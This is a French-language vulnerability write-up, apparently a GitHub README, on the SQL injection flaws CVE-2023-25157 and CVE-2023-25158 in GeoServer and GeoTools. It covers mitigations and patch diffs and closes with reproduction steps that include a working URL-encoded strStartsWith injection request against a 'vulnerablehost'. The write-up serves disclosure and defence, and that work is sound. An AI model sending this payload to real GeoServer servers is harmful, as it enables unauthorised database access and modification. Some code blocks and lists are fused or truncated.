murataydemir/cve-2023-25157-and-cve-2023-25158GeoServer & GeoTools Injection SQL (CVE-2023-25157 & CVE-2023-25158)
Ce dépôt contient une description détaillée et les étapes de reproduction des vulnérabilités d'injection SQL trouvées dans la plateforme GeoServer et la bibliothèque GeoTools. La vulnérabilité a reçu l'identifiant CVE-2023-25157 pour GeoServer et CVE-2023-25158 pour GeoTools.
GeoServer est un serveur logiciel open-source écrit en Java qui offre la possibilité de visualiser, éditer et partager des données géospatiales. Il est conçu pour être une solution flexible et efficace pour distribuer des données géospatiales provenant de diverses sources telles que les bases de données de systèmes d'information géographique (SIG), les données web et les ensembles de données personnelles.
GeoServer adhère aux normes de l'Open Geospatial Consortium (OGC) pour le partage de données, y compris le Web Feature Service (WFS), le Web Map Service (WMS) et le Web Coverage Service (WCS). Cette conformité aux normes signifie que les données de GeoServer peuvent être utilisées dans une grande variété d'applications, allant des logiciels SIG personnalisés aux solutions prêtes à l'emploi.
GeoServer est principalement construit sur le framework Spring, mais utilise également un certain nombre d'autres bibliothèques et frameworks, notamment :
GeoTools:Les vulnérabilités en question sont profondément intégrées dans les expressions de filtre et de fonction définies par les normes de l'Open Geospatial Consortium (OGC). Ces expressions constituent l'épine dorsale de l'interrogation et de la manipulation des données géospatiales, jouant un rôle central dans la fonctionnalité de systèmes comme GeoServer et GeoTools.
Lorsque ces vulnérabilités sont exploitées, elles peuvent entraîner de graves failles de sécurité. La divulgation non autorisée d'informations est une préoccupation majeure, car les attaquants peuvent potentiellement accéder à des données sensibles stockées dans la base de données. La modification non autorisée est un autre résultat potentiel, les attaquants pouvant manipuler les données à leur avantage. De plus, ces vulnérabilités peuvent également faciliter l'interruption de service, une exploitation réussie pouvant entraîner l'indisponibilité du service.
Ce qui suit fournit une analyse approfondie de chaque vulnérabilité identifiée. Chaque vulnérabilité est explorée en détail, en discutant de ses caractéristiques spécifiques, des conditions qui conduisent à sa manifestation et des effets potentiels de son exploitation. Voici une ventilation détaillée des vulnérabilités trouvées pour GeoServer :
PropertyIsLike filter : cette vulnérabilité est présente lorsque le filtre PropertyIsLike est utilisé avec un champ de type String en conjonction avec n'importe quel magasin de données (DataStore) basé sur une base de données relationnelle, un PostGIS DataStore avec les fonctions d'encodage activées, ou toute mosaïque d'images avec un index stocké dans une base de données relationnelle.strEndsWith fonction : cette vulnérabilité survient lorsque la fonction strEndsWith est utilisée avec un PostGIS DataStore avec les fonctions d'encodage activées.strStartsWith fonction : cette vulnérabilité est trouvée lorsque la fonction strStartsWith est utilisée avec un PostGIS DataStore avec les fonctions d'encodage activées.FeatureId filter : cette vulnérabilité est présente lorsque le filtre FeatureId est utilisé avec n'importe quelle table de base de données ayant une colonne de clé primaire de type String et lorsque les instructions préparées sont désactivées.jsonArrayContains fonction : cette vulnérabilité est trouvée lorsque la fonction jsonArrayContains est utilisée avec un champ de type String ou JSON et avec un PostGIS ou Oracle DataStore (uniquement dans GeoServer 2.22.0 et versions ultérieures).DWithin filter : cette vulnérabilité est découverte lorsque le filtre DWithin est utilisé avec un Oracle DataStore.Et voici une ventilation détaillée des vulnérabilités trouvées pour GeoTools :
PropertyIsLike filter :
strEndsWith function :
strStartsWith function :
FeatureId filter :
jsonArrayContains function :
DWithin filter :
CVE-2023-25157 GeoServer SQL Injection.CVE-2023-25158 GeoTools SQL Injection.L'action recommandée pour les vulnérabilités d'injection SQL dans GeoServer (CVE-2023-25157) et GeoTools (CVE-2023-25158) est de mettre à niveau vers les versions indiquées ou supérieures. Si cette mise à niveau a été effectuée, aucune étape supplémentaire n'est nécessaire. Cependant, pour ceux qui pourraient avoir des difficultés à mettre à niveau rapidement, l'équipe Geo a fourni quelques solutions alternatives ci-dessous.
Désactiver le paramètre des fonctions d'encodage du PostGIS DataStore pour atténuer les vulnérabilités strEndsWith et strStartsWith (les filtres de ce type n'ont pas d'atténuation, s'il y a un champ de type String dans le type d'entité publié).
Activer le paramètre preparedStatements du PostGIS DataStore pour atténuer la vulnérabilité FeatureId.```java
Map<String, Object> params = new HashMap < >();
params.put("dbtype", "postgis");
params.put("host", "localhost");
params.put("port", 5432);
params.put("schema", "public");
params.put("database", "database");
params.put("user", "postgres");
params.put("passwd", "postgres");
params.put("preparedStatements", true); // mitigation
params.put("encode functions", false); // mitigation
DataStore dataStore = DataStoreFinder.getDataStore(params);
En tant que bonne pratique pour limiter la surface d'attaque, il est important d'accorder au compte de base de données utilisé pour les pools de connexions le niveau de privilèges minimum requis (par exemple, lecture seule sauf si WFS-T/importer/REST granule harvesting sont utilisés, accès limité uniquement aux schémas et tables nécessaires à l'utilisation en production).
- Aucune atténuation n'est disponible pour le filtre `PropertyIsLike`, vous pouvez choisir de désactiver les DataStores de base de données jusqu'à ce que vous puissiez effectuer la mise à niveau.
- Aucune atténuation n'est disponible pour `DWithin` avec Oracle DataStore, vous pouvez choisir de désactiver les DataStores Oracle jusqu'à ce que vous puissiez effectuer la mise à niveau.
### <b>Analyse du correctif : Problème GitHub et commits associés</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Vous trouverez ci-dessous des liens vers plusieurs problèmes JIRA pertinents concernant les vulnérabilités d'injection SQL découvertes dans GeoServer et GeoTools. Ces liens donnent accès à des données cruciales, des discussions et des solutions proposées liées à ces vulnérabilités particulières.
- [GEOS-10842 : JDBCConfig : échapper les entrées utilisateur dans les requêtes SQL](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839 : JDBCConfig : ajouter un paramètre de configuration JDBC pour désactiver les commentaires SQL et le pretty-printing](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302 : Échapper les entrées utilisateur dans les requêtes SQL](https://osgeo-org.atlassian.net/browse/GEOT-7302)
En regardant le commit [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), les changements suivants peuvent être clairement observés, respectivement :
- Dans [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java), il y a ajout d'un champ de propriété et modifications des constructeurs pour inclure ce champ de propriété. Cela permet une plus grande personnalisation de la configuration de la base de données, permettant potentiellement des mesures de sécurité renforcées. [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) est une classe fournie par Spring Framework qui prend en charge la programmation d'instructions JDBC à l'aide de paramètres nommés, par opposition à la programmation d'instructions JDBC à l'aide des arguments classiques de type placeholders ('?'). Dans le commit, le constructeur de `ConfigDatabase` est mis à jour pour prendre un `DataSource` et créer un `NamedParameterJdbcTemplate` à partir de celui-ci. Les paramètres nommés améliorent la lisibilité et peuvent également prévenir les attaques par injection SQL car ils clarifient que l'argument est paramétré, et non une partie de la commande SQL.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.jdbcconfig.internal;
// import some packages...
import org.geoserver.jdbcloader.JDBCLoaderProperties;
public class ConfigDatabase implements ApplicationContextAware {
public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
private static final int LOCK_TIMEOUT_SECONDS = 60;
private Dialect dialect;
private JDBCLoaderProperties properties;
// rest of the codebase
protected ConfigDatabase() {
//
}
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
// cannot use dataSource at this point due to spring context config hack
template.queryForObject. Au lieu d'utiliser sql.toString(), la variable sql elle-même, qui semble être une instruction SQL construite de manière sécurisée.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
- L'objet StringBuilder `sql` dans [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) est remplacé par un objet String. Ce changement peut être significatif pour prévenir les attaques par injection SQL, car les objets StringBuilder, qui sont mutables, peuvent conduire à des modifications involontaires ou malveillantes de la requête SQL. Le remplacer par un String, qui est immuable, peut aider à prévenir de telles modifications et donc à prévenir les injections SQL.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
/*
* Start with the oid and id from the object table selecting for type and the filter.
*
* Then left join on oid for each property to sort by to turn it into an attribute.
*
* The sort each of the created attribute.
*/
escapeComment a été ajoutée à la classe Dialect.java. Cette méthode prend une chaîne de commentaire et échappe les caractères potentiellement dangereux qu’elle contient. Plus précisément, elle semble échapper les caractères d’ouverture et de fermeture des commentaires SQL (/* et */), qui sont utilisés dans certaines attaques par injection SQL.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }
Ajout de commentaires au SQL : Une nouvelle méthode `appendComment` a été ajoutée à la classe [`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java) pour ajouter des objets au SQL sous forme de commentaire. Si le mode débogage n'est pas activé, ces méthodes renvoient simplement le SQL d'origine. Si le mode débogage est activé, elles ajoutent la représentation sous forme de chaîne des objets fournis au SQL sous forme de commentaire. Les commentaires sont correctement échappés à l'aide de la méthode `escapeComment`.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object...objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object: objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object...objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
Ajout conditionnel de chaînes à SQL : La méthode appendIfDebug a été ajoutée à la classe Dialect. Cette méthode ajoute l'une des deux chaînes fournies au SQL selon que le mode débogage est activé ou non. Dans la classe Dialect.java, un champ debugMode est ajouté et une méthode setDebugMode() est fournie pour changer son état. Ce mode débogage est ensuite utilisé dans la méthode detect().
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
}
En regardant le commit [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), les modifications suivantes peuvent être clairement vues, respectivement :
- L'ajout du champ `escapeBackslash` dans la classe [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) est une mesure de précaution pour empêcher certaines formes d'injection SQL où le caractère antislash est utilisé pour échapper des caractères spéciaux dans la syntaxe SQL. En offrant la possibilité d'échapper les antislashs dans les littéraux de chaîne, les développeurs permettent à l'application de traiter les caractères antislash comme du texte brut plutôt que comme des caractères d'échappement, ce qui peut à son tour limiter les possibilités d'injection SQL.
Ces modifications fonctionnent ensemble pour prévenir l'injection SQL en garantissant que les caractères spéciaux dans les littéraux de chaîne (comme les guillemets simples et doubles et les antislashs) sont correctement échappés avant d'être inclus dans une requête SQL. C'est une façon courante d'atténuer les vulnérabilités d'injection SQL. Lorsque `escapeBackslash` est défini sur true, les antislashs dans les littéraux de chaîne seront échappés lorsque la méthode [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) de la classe [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28) est appelée. Cette méthode est utilisée à divers endroits dans la classe [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) pour échapper les littéraux de chaîne avant qu'ils ne soient inclus dans une requête SQL. Par exemple, la [ligne 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
est un endroit où cette méthode est appelée, et où le paramètre escapeBackslash prendrait effet. Dans le code d'origine, l'application remplaçait manuellement les guillemets simples par deux guillemets simples, ce qui est une manière courante d'échapper les guillemets simples en SQL. Ceci est important car des guillemets simples non échappés peuvent permettre à un attaquant de terminer prématurément un littéral de chaîne et d'ajouter ses propres commandes SQL, conduisant à une vulnérabilité d'injection SQL.
Dans le code modifié, au lieu de remplacer manuellement les guillemets simples, l'application appelle désormais la méthode escapeLiteral() de la classe EscapeSql.java. Cette méthode est conçue pour échapper non seulement les guillemets simples, mais aussi les backslashes, et potentiellement les guillemets doubles en fonction de ses paramètres :```java
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\");
}
if (escapeDoubleQuote) {
// " --> "
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\"");
}
return escaped;
Ainsi, l'application peut garantir que tous les caractères spéciaux de la chaîne SQL sont correctement échappés, ce qui constitue une approche plus robuste et plus sûre pour prévenir les injections SQL.
- Changements dans la méthode `convertToSQL92` : La méthode `LikeFilterImpl.convertToSQL92` convertit un motif de la syntaxe 'LIKE' SQL standard en syntaxe SQL-92. Dans ce commit, ils ont ajouté un nouveau paramètre à cette méthode. Le changement par rapport à la méthode dans la classe [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) à la [ligne 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547) :```java
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
semble ajouter un indicateur qui affecte probablement le processus de conversion des motifs. Auparavant, l'appel de méthode n'incluait pas le paramètre false à la fin. Cette valeur false est probablement liée au fait que certains caractères dans la chaîne literal soient échappés ou non lors du processus de conversion. L'échappement permet de prévenir les injections SQL en garantissant que les caractères spéciaux de la chaîne literal ne sont pas interprétés comme faisant partie de la syntaxe SQL, mais comme de simples valeurs textuelles.
out.write() par writeLiteral() : Le remplacement de out.write() par writeLiteral() est un autre changement majeur. La méthode out.write() écrit simplement la chaîne donnée dans le flux de sortie telle quelle, sans aucun traitement ou échappement supplémentaire. Cela pourrait potentiellement mener à une injection SQL si la chaîne contient une syntaxe SQL non échappée.```java
writeLiteral(pattern);- D'autre part, `writeLiteral()` applique vraisemblablement une forme d'échappement ou d'assainissement à la chaîne avant qu'elle ne soit écrite dans le flux de sortie, réduisant ainsi le risque d'injection SQL. Ce changement remplace également une opération d'écriture directe par un appel à `writeLiteral()`, qui inclut probablement des précautions pour prévenir les injections SQL.```java
// out.write(attValues.get(j).toString());
writeLiteral(attValues.get(j));
Afin d'exploiter correctement ces vulnérabilités, il est d'abord nécessaire d'obtenir :
respectivement. Par conséquent, la requête suivante est envoyée au serveur cible pour obtenir les noms de fonctionnalités disponibles.``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
Après avoir récupéré les noms des fonctionnalités disponibles, nous devons envoyer la requête HTTP suivante pour obtenir les propriétés disponibles pour les fonctionnalités concernées.```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Après les deux requêtes HTTP présentées ci-dessus, nous énumérons tous les noms de fonctionnalités disponibles et les noms de propriétés associés à ces noms de fonctionnalités. Après cette étape, nous pouvons effectuer le processus d'exploitation en envoyant une requête HTTP malveillante avec une charge utile SQL injectée au serveur pour toute propriété récupérée.``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
### <b>Conclusion</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
En conclusion, la découverte de ces vulnérabilités d'injection SQL dans GeoServer et GeoTools, décrites par CVE-2023-25157 et CVE-2023-25158, est un rappel brutal des menaces toujours présentes dans le paysage numérique. Ces vulnérabilités, résidant au cœur des expressions de filtre et de fonction OGC, ont le potentiel de provoquer des perturbations significatives ainsi qu'un accès ou des modifications non autorisés aux données.
Pour plus d'informations sur la correction de ces vulnérabilités, veuillez consulter les ressources suivantes :
- Le commit utilisé pour corriger la vulnérabilité : [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- Le commit utilisé pour corriger la vulnérabilité : [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [Vulnérabilité d'injection SQL du filtre OGC GeoServer](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) et [Vulnérabilité d'injection SQL du filtre OGC GeoTools](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [Base de données d'avis GitHub (Révisé par GitHub) : Injection SQL dans GeoServer](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf), [Base de données d'avis GeoServer : Injection SQL dans GeoServer](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) et [Base de données d'avis GeoTools : Injection SQL dans GeoTools](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [Avis NIST pour GeoServer : CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) et [Avis NIST pour GeoTools : CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [Avis MITRE pour GeoServer : CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) et [Avis MITRE pour GeoTools : CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)